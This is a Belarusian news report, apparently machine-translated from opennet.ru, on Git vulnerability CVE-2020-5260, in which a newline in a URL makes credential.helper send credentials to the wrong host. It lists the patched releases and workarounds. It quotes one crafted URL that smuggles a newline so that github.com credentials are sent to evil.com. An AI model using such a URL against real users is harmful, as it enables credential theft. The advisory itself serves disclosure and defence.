Уразлівасць у Git, якая прыводзіць да ўцечкі ўліковых дадзеных

Апублікаваны карэкціруючыя выпускі размеркаванай сістэмы кіравання зыходнымі тэкстамі Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 і 2.17.4. ліквідавана уразлівасць (CVE-2020-5260) у апрацоўшчыку «credential.helper«, якая прыводзіць да адпраўкі ўліковых дадзеных не на той хост пры звароце git-кліента да рэпазітара па спецыяльна аформленым URL, які змяшчае сімвал новага радка. Уразлівасць можна выкарыстоўваць для арганізацыі адпраўкі на сервер, падкантрольны атакаваламу, уліковых дадзеных ад іншага хаста.

Пры ўказанні URL выгляду "https://evil.com?%0ahost=github.com/" апрацоўшчык уліковых дадзеных пры падлучэнні да хаста evil.com перадасць параметры аўтэнтыфікацыі, зададзеныя для github.com. Праблема выяўляецца пры выкананні такіх аперацый, як "git clone", у тым ліку пры апрацоўцы URL для субмодуляў (напрыклад, пры выкананні "git submodule update" будуць аўтаматычна апрацаваны URL, зададзеныя ў файле .gitmodules з рэпазітара). Найбольшую небяспеку ўразлівасць уяўляе ў сітуацыях, калі распрацоўнік выконвае кланаванне рэпазітара не бачачы URL, напрыклад, пры працы з субмодулямі, або ў сістэмах, якія выконваюць аўтаматычныя дзеянні, напрыклад, у скрыптах зборкі пакетаў.

Для блакавання ўразлівасці ў новых версіях забаронена перадача знака новага радка ў любых значэннях, якія перадаюцца праз пратакол абмену ўліковымі дадзенымі. Для дыстрыбутываў прасачыць за выпускам абнаўленняў пакетаў можна на старонках Debian, Ubuntu, RHEL, SUSE/openSUSE, Мяккая фетравы капялюш, арка, FreeBSD.

У якасці абыходнага шляху блакавання праблемы рэкамендуецца не выкарыстоўваць credential.helper пры звароце да публічных рэпазітароў і не ўжываць "git clone" у рэжыме "-recurse-submodules" з неправеранымі рэпазітарамі. Для поўнага адключэння апрацоўшчыка credential.helper, які выконвае захаванне і выманне пароляў з кэша, абароненага сховішчы ці файла з паролямі, можна выкарыстоўваць каманды:

git config -unset credential.helper
git config -global -unset credential.helper
git config -system -unset credential.helper

Крыніца: opennet.ru

Дадаць каментар